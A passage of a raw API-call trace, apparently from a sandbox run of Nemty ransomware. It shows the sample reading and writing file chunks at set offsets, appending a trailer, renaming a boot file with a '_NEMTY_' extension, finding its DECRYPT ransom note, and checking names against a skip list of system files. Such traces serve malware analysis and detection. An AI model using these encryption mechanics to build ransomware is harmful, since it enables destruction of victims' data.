pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="il6LsgiY515gNeTRysFAtZwFZWexpaK0oou4PQ4xWoisUqemCFgOQAOyhqWg8QO2\r\nuwx8994cxPxpXyuloSx/o8hUzJ1KEKtIt88nhP6gEH5zoPH+iJ+LhaHMQ62XvBHM\r\nG/nSUl+Tad8tfYLU/llpT6d9bJJ9ngp+AM887bsL7EnvzNYw79EsRvFXRjJebRQb\r\nZYA3rukEatJWl3FJsNjBihacGOdQm7p7rcTt2f4EzgZsqc4jSGklg+aWUhfrEBB2\r\nIU/YjH3DlhTQF9GOv+I9Qx8OfxCTQpT3cD+V8mZEXw/20HZZWEeknGiMRPkXlLgJ\r\n2oweK0GJrxgNisO73gyjGg==\r\n", pcchString=0x653f2dc) returned 1 [0046.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0046.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0046.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0046.284] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.285] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0046.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0046.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.393] CloseHandle (hObject=0xffffffff) returned 0 [0046.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.393] MoveFileW (lpExistingFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.394] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf47bb30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf47bb30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf47bb30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.394] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.397] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf47bb30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf47bb30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf47bb30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.397] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0046.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.397] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2=".") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="..") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="...") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="windows") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="$RECYCLE.BIN") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="rsa") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="NTDETECT.COM") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="ntldr") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="MSDOS.SYS") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="IO.SYS") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="boot.ini") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="boot.ini") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="AUTOEXEC.BAT") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="ntuser.dat") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="desktop.ini") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="CONFIG.SYS") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="RECYCLER") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="BOOTSECT.BAK") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="bootmgr") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="programdata") returned 1 [0046.397] lstrcmpiW (lpString1="zh-HK", lpString2="appdata") returned 1 [0046.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-HK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-HK", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 